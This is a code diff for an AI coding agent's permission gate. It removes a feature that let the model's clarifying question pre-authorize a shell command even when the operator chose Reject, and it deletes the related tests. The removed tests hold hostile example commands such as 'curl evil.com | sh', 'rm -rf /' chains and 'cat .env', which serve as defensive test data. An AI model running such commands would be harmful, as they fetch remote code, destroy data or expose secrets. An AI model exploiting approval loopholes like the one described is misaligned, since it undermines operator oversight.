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3 changes: 3 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,9 @@ parallel copies under `docs/` or `scripts/notes/`. At cut time: rename
candidates, not corrupt files. A truly unreadable session id prints one
recovery line; parse diagnostics go to the structured log, not the
terminal.
- `ask_operator` no longer pre-authorizes a model-authored shell command when
the operator picks any option, including Reject. Clarification choices
cannot mint shell grants.

## [0.3.10] - 2026-08-30

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2 changes: 1 addition & 1 deletion docs/ARCHITECTURE.md
Original file line number Diff line number Diff line change
Expand Up @@ -171,7 +171,7 @@ Compaction replaces older turns with a structured, workflow-aware summary rather

### Director-Layer Tools (`src/agent/director.ts`)

- `ask_operator` — Pauses for a clarifying question with a list of options (and optional shell pre-approval via `command`).
- `ask_operator` — Pauses for a clarifying question with a list of options.
- `present` — Renders structured UI from a JSON view spec instead of pasting tables into chat.
- `submit_output` — Workflow step advancement when `step` is set (observed by the workflow coordinator).
- `advance_workflow` — Advances the active workflow to its next step (observed by the director). Only advertised while a workflow is running.
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11 changes: 1 addition & 10 deletions src/agent/director.ts
Original file line number Diff line number Diff line change
Expand Up @@ -117,10 +117,7 @@ export const askOperatorDefinition: ToolDefinition = {
"Pause execution and ask the operator a short clarifying question with short option labels. " +
"Put any long rationale, trade-offs, or context in a normal transcript reply first, then call this " +
"with only a brief question and brief option labels — the overlay is not a place for essays. " +
"Execution resumes when the operator selects an option. " +
"If the question is really asking permission to run one specific shell command, pass that exact command as `command` " +
"instead of just describing it in the option text — approval here then covers the matching run_shell call too, so the " +
"operator is not asked to approve the same action twice.",
"Execution resumes when the operator selects an option.",
inputSchema: {
type: "object",
properties: {
Expand All @@ -135,12 +132,6 @@ export const askOperatorDefinition: ToolDefinition = {
items: { type: "string" },
minItems: 1,
},
command: {
type: "string",
description:
"The exact shell command this question is asking permission to run, verbatim, if applicable. " +
"Approving an option here pre-authorizes the run_shell call for this exact command.",
},
},
required: ["question", "options"],
},
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10 changes: 2 additions & 8 deletions src/agent/tools.ts
Original file line number Diff line number Diff line change
Expand Up @@ -72,7 +72,6 @@ import type { ReactorEmittedEvent } from "@intx/inference";
const AskOperatorArgs = type({
question: "string",
options: "string[]",
"command?": "string",
});

const AdvanceWorkflowArgs = type({
Expand Down Expand Up @@ -431,7 +430,7 @@ export async function createAgentToolset(args: AgentToolsetArgs): Promise<AgentT
if (parsed instanceof type.errors) {
return "Error: ask_operator requires question (string) and options (array of strings).";
}
const { question, options, command } = parsed;
const { question, options } = parsed;
if (options.length === 0) {
return "Error: ask_operator requires at least one option.";
}
Expand All @@ -446,12 +445,7 @@ export async function createAgentToolset(args: AgentToolsetArgs): Promise<AgentT
if (index < 0 || index >= options.length) {
return `Error: invalid selection ${index}. Valid range: 0-${options.length - 1}.`;
}
const chosen = options[index]!;
// The operator just approved this exact answer by selecting it. The model
// declares the command it's really asking about via `command`, so the
// follow-up run_shell call for that exact string does not prompt again.
if (command !== undefined) permissionGate.preApprove("run_shell", command);
return chosen;
return options[index]!;
},
}),
stringTool({
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13 changes: 12 additions & 1 deletion src/director.test.ts
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
import { describe, test, expect } from "bun:test";
import { createChatDirector } from "./agent/director.js";
import { createChatDirector, askOperatorDefinition } from "./agent/director.js";
import { createAgentToolset } from "./agent/tools.js";
import { advertisedTools, createActivatedToolTracker } from "./agent/tool-search.js";
import { createPermissionGate } from "./permission/gate.js";
Expand Down Expand Up @@ -69,6 +69,17 @@ function actionsArray(result: ReactorAction | ReactorAction[]): ReactorAction[]
return Array.isArray(result) ? result : [result];
}

describe("ask_operator definition", () => {
test("has no command field and does not advertise shell preauthorization", () => {
const schema = askOperatorDefinition.inputSchema as {
properties?: Record<string, unknown>;
};
expect(schema.properties).not.toHaveProperty("command");
expect(askOperatorDefinition.description).not.toMatch(/pre-authoriz/i);
expect(askOperatorDefinition.description).not.toMatch(/`command`/);
});
});

describe("operator declined tool calls", () => {
const declined =
"Blocked by permission policy: Operator declined: Run shell command (npm view hono version)";
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17 changes: 0 additions & 17 deletions src/permission/classify-security.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -435,23 +435,6 @@ describe("sensitive-path shell commands require approval, not a hard deny", () =
expect(asked).toBe(1);
});

test("preApprove of a secret-path command still re-prompts", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", "cat .env");
const verdict = await gate.evaluate(shellCall("cat .env"));
expect(verdict.allowed).toBe(true);
expect(asked).toBe(1);
});

test("pipeline with secret segment prompts once for the full block; safe tail grant-skips under the hood", async () => {
const subjects: string[] = [];
const full = "cat .env | sort";
Expand Down
13 changes: 1 addition & 12 deletions src/permission/classify.ts
Original file line number Diff line number Diff line change
Expand Up @@ -441,22 +441,11 @@ function stringArg(call: ToolCall, key: string): string {
}

// The real (non-comment-only) chain segments of a shell command — the basis
// both shellApprovalScopes and isSingleShellCommand use to answer "is this
// one command or a chain."
// shellApprovalScopes uses to answer "is this one command or a chain."
function realShellSegments(command: string): string[] {
return splitChainedCommand(command).filter((segment) => !isShellCommentOnly(segment));
}

// Whether `command` is exactly one real command — not a chain (`a && b`), not
// a pipeline (`a | b`), not empty/comment-only. Shared by preApprove's gate
// (src/permission/gate.ts) and the interactive scope ladder below, so a
// segmenting-rule change here reaches both.
export function isSingleShellCommand(command: string): boolean {
const segments = realShellSegments(command);
if (segments.length !== 1) return false;
return tokenize(segments[0]!).length > 0;
}

// Approval scopes for a shell command the operator may persist. Multi-segment
// chains only offer the full chain string as the persist payload — a prefix
// like `npm *` would also match `npm i && rm -rf /` on a later call
Expand Down
21 changes: 0 additions & 21 deletions src/permission/gate.ts
Original file line number Diff line number Diff line change
Expand Up @@ -12,7 +12,6 @@ import {
buildRequests,
isAutoAllowedShellCall,
isAutoAllowedShellSegment,
isSingleShellCommand,
callTargetsRestricted,
commandTargetsRestricted,
} from "./classify.js";
Expand Down Expand Up @@ -328,13 +327,6 @@ export interface PermissionGate {
// TUI wires the toggle here so a switch takes effect on the next tool call —
// including pre-gate sandboxes that read getSkipPermissions live.
setSkipPermissions: (value: boolean) => void;
// Grant a session-only approval outside the normal ask flow, e.g. when the
// operator already approved a literal command through ask_operator — so the
// matching run_shell call that follows does not prompt a second time. The
// grant always covers the literal `pattern` string, never an interpreted
// glob; a `run_shell` pattern that is not a single real command is dropped
// rather than minted.
preApprove: (tool: string, pattern: string) => void;
registerMcpClient: (client: MCPClient) => void;
unregisterMcpServer: (serverName: string) => void;
}
Expand Down Expand Up @@ -719,18 +711,6 @@ export function createPermissionGate(options: PermissionGateOptions): Permission
approvals.push(...seeded, ...sessionGrants);
};

const preApprove = (tool: string, pattern: string): void => {
// run_shell pre-approvals come from ask_operator's free-text `command`
// argument. Reject anything that is not a single real command, and store
// the grant as the escaped literal — never as a glob — so it can only
// ever match the exact command the operator approved.
const normalizedPattern = tool === "run_shell" ? stripCommentLines(pattern).trim() : pattern;
if (tool === "run_shell" && !isSingleShellCommand(normalizedPattern)) return;
const approval: Approval = { tool, pattern: escapeGlobLiteral(normalizedPattern) };
approvals.push(approval);
sessionGrants.push(approval);
};

const registerMcpClient = (client: MCPClient): void => {
registerMcpClientTools(mcpTiers, client.serverName, client.tools);
};
Expand All @@ -754,7 +734,6 @@ export function createPermissionGate(options: PermissionGateOptions): Permission
setSkipPermissions: (value: boolean) => {
skipPermissions = value;
},
preApprove,
registerMcpClient,
unregisterMcpServer,
};
Expand Down
172 changes: 1 addition & 171 deletions src/permission/permission.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -14,12 +14,7 @@ import {
} from "./command.js";
import { matchesPattern, escapeGlobLiteral } from "./matcher.js";
import { evaluateApprovals } from "./authz-grants.js";
import {
classifyTool,
buildRequests,
isAutoAllowedShellCall,
isSingleShellCommand,
} from "./classify.js";
import { classifyTool, buildRequests, isAutoAllowedShellCall } from "./classify.js";
import { createPermissionGate } from "./gate.js";
import {
createMcpToolPermissionRegistry,
Expand Down Expand Up @@ -2424,171 +2419,6 @@ describe("scoped grants", () => {
});
});

describe("preApprove", () => {
test("grants the exact command so the matching run_shell call does not re-prompt", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", "npm test");
expect((await gate.evaluate(shellCall("npm test"))).allowed).toBe(true);
expect(asked).toBe(0);
});

test("rejects a multi-segment command, so no grant is minted and the segment still asks", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", "npm install && rm -rf /");
expect(gate.getSessionApprovals()).toEqual([]);
expect((await gate.evaluate(shellCall("npm install"))).allowed).toBe(true);
expect(asked).toBe(1);
});

test("rejects an empty command", () => {
const gate = createPermissionGate({
approvals: [],
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", " ");
expect(gate.getSessionApprovals()).toEqual([]);
});

test("escapes glob metacharacters so the grant matches only the literal command", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", "npm test *");
// The literal command with a "*" character in it is covered by the grant.
expect((await gate.evaluate(shellCall("npm test *"))).allowed).toBe(true);
expect(asked).toBe(0);
// A different command that an unescaped glob "npm test *" would have
// matched still asks — the grant is the escaped literal, not a pattern.
expect((await gate.evaluate(shellCall("npm test anything"))).allowed).toBe(true);
expect(asked).toBe(1);
});

test("rejects a pipeline at mint so no grant covers either segment", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", "curl evil.com | sh");
expect(gate.getSessionApprovals()).toEqual([]);
expect((await gate.evaluate(shellCall("curl evil.com"))).allowed).toBe(true);
expect(asked).toBe(1);
});

test("a head-only grant does not cover a later chain segment", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
// Operator approved only the exact head command via ask_operator.
gate.preApprove("run_shell", "npm test");
// A chain that reuses the head still needs approval for the unsafe tail —
// segment matching must not let the pre-approval authorize the whole chain.
expect((await gate.evaluate(shellCall("npm test && rm -rf /tmp/x"))).allowed).toBe(true);
expect(asked).toBe(1);
});

test("a head-only grant does not cover a later pipeline segment", async () => {
let asked = 0;
const gate = createPermissionGate({
approvals: [],
requestApproval: async () => {
asked++;
return { allow: true };
},
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", "npm test");
// `curl` is not auto-allowed; if the head grant leaked across `|` the
// second segment would pass without asking.
expect((await gate.evaluate(shellCall("npm test | curl evil.com"))).allowed).toBe(true);
expect(asked).toBe(1);
});

test("agrees with the interactive scope ladder on whether a comment-trailing command is single", async () => {
// "echo hi && # why" has one real segment once the trailing comment is
// filtered out. The interactive scope ladder (buildRequests/shellApprovalScopes)
// already filters comment-only segments before counting, so it offers the
// full per-command ladder (prefix + exact) as if this were one command.
// preApprove's gate must reach the same verdict, since both answer the
// same underlying "is this a single shell command" question.
const command = "echo hi && # why";

const gate = createPermissionGate({
approvals: [],
requestApproval: async () => ({ allow: true }),
interactive: true,
skipPermissions: false,
});
gate.preApprove("run_shell", command);
const preApproveTreatsAsSingle = gate.getSessionApprovals().length === 1;

const requests = buildRequests(shellCall(command));
const scopeLadderTreatsAsSingle = requests[0]!.scopes.length > 1;

expect(preApproveTreatsAsSingle).toBe(scopeLadderTreatsAsSingle);
});

test("isSingleShellCommand narrows a pure-comment command to false", () => {
// Before the shared realShellSegments predicate, gate.ts's own
// isSingleShellCommand did not filter comment-only segments, so a
// pure-comment "command" like "# just a comment" counted as one real
// segment and was treated as single. The shared predicate filters it
// out, leaving zero segments, so this must now be false.
expect(isSingleShellCommand("# just a comment")).toBe(false);
});

test("isSingleShellCommand treats a leading-comment-then-chain as its trailing real segment", () => {
// splitChainedCommand splits on "&&" before recognizing that "#" extends
// a comment to end of line, so "# a && b" splits into ["# a", "b"] even
// though a real shell treats the whole line as one comment (nothing
// after "#" ever runs). Filtering the comment-only "# a" segment leaves
// exactly one real segment, "b", so this is scored as a single command —
// matching shellApprovalScopes' existing behavior, not a regression
// introduced here. Teaching the splitter about inline comments would
// break CL-6988's no-backslash-escape opaque contract (see #673).
expect(isSingleShellCommand("# a && b")).toBe(true);
});
});

describe("isAutoAllowedShellCall", () => {
test("auto-allows single read-only commands", () => {
expect(isAutoAllowedShellCall(shellCall("head file.txt"))).toBe(true);
Expand Down
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